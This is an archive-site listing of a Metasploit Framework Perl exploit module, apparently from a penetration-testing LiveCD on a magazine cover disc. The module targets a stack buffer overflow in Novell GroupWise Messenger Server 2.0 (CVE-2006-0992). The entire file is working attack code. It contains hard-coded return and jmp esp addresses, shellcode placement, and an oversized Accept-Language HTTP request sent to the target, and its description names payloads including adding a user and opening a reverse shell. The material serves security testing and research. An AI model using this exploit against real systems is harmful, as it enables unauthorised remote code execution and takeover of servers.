home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / novell_messenger_acceptlang.pm < prev    next >
Encoding:
Perl POD Document  |  2006-06-30  |  3.3 KB  |  122 lines
  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::novell_messenger_acceptlang;
  11. use strict;
  12. use base "Msf::Exploit";
  13. use Pex::Text;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info =
  18.   {
  19.     'Name'    => 'Novell Messenger Server 2.0 Accept-Language Overflow',
  20.     'Version' => '$Revision: 1.5 $',
  21.     'Authors' => [ 'H D Moore <hdm[at]metasploit.com>' ],
  22.  
  23.     'Arch'  => [ 'x86' ],
  24.     'OS'    => [ 'win32', 'winnt', 'winxp', 'win2k', 'win2003' ],
  25.     'Priv'  => 1,
  26.  
  27.     'AutoOpts'  =>  { 'EXITFUNC' => 'process' },
  28.  
  29.     'UserOpts'  =>
  30.       {
  31.         'RHOST' => [1, 'ADDR', 'The target address'],
  32.         'RPORT' => [1, 'PORT', 'The target port', 8300 ],
  33.         'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
  34.         'SSL'   => [0, 'BOOL', 'Use SSL'],
  35.       },
  36.  
  37.     'Payload' =>
  38.       {
  39.         'Space'     => 500, 
  40.         'BadChars'  => "\x00\x0a\x2c\x3b".join("", ("A".."Z")), # data is downcased
  41.         'Keys'         => ['+ws2ord'],
  42.         'Prepend'   => "\x81\xc4\x54\xf2\xff\xff",  # add esp, -3500
  43.       },
  44.  
  45.     'Description'  => Pex::Text::Freeform(qq{
  46.         This module exploits a stack overflow in Novell GroupWise
  47.     Messenger Server v2.0. This flaw is triggered by any HTTP
  48.     request with an Accept-Language header greater than 16 bytes.
  49.     To overwrite the return address on the stack, we must first
  50.     pass a memcpy() operation that uses pointers we supply. Due to the
  51.     large list of restricted characters and the limitations of the current
  52.     encoder modules, very few payloads are usable. The 'known good' set
  53.     includes win32_adduser, win32_exec, and win32_reverse_ord;
  54.  
  55. }),
  56.  
  57.     'Refs'  =>
  58.       [
  59.           ['OSVDB', '24617'],
  60.           ['BID', '17503'],
  61.         ['CVE', '2006-0992'],
  62.       ],
  63.  
  64.     'Targets' =>
  65.       [
  66.         [ 'Groupwise Messenger DClient.dll v10510.37', 0x6103c3d3, 0x61041001 ] # .data | jmp esp
  67.       ],
  68.  
  69.     'Keys'  => ['groupwise'],
  70.  
  71.     'DisclosureDate' => 'Apr 13 2005',
  72.   };
  73.  
  74. sub new {
  75.     my $class = shift;
  76.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  77.     return($self);
  78. }
  79.  
  80. sub Exploit {
  81.     my $self        = shift;
  82.     my $target_host = $self->GetVar('RHOST');
  83.     my $target_port = $self->GetVar('RPORT');
  84.     my $target_idx  = $self->GetVar('TARGET');
  85.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  86.     my $target      = $self->Targets->[$target_idx];
  87.  
  88.     $self->PrintLine( "[*] Attempting to exploit " . $target->[0] );
  89.  
  90.     my $s = Msf::Socket::Tcp->new(
  91.         'PeerAddr'  => $target_host,
  92.         'PeerPort'  => $target_port,
  93.         'SSL'      => $self->GetVar('SSL'),
  94.       );
  95.  
  96.     if ( $s->IsError ) {
  97.         $self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
  98.         return;
  99.     }
  100.  
  101.     my $pattern = Pex::Text::AlphaNumText(1900);
  102.     substr($pattern, 16, 4,  pack('V', $target->[2])); # SRC
  103.     substr($pattern, 272, 4, pack('V', $target->[2])); # DST
  104.     substr($pattern, 264, 4, pack('V', $target->[1])); # JMP ESP
  105.     substr($pattern, 268, 2, "\xeb\x06"); # JMP +6    
  106.     substr($pattern, 276, length($shellcode), $shellcode);
  107.  
  108.     my $request =
  109.       "GET / HTTP/1.1\r\n".
  110.       "Accept-Language: $pattern\r\n".
  111.       "\r\n";
  112.     
  113.     $s->Send($request);
  114.  
  115.     $self->PrintLine("[*] Overflow request sent...");
  116.  
  117.     $self->Handler($s);
  118.     return;
  119. }
  120.  
  121. 1; 
  122.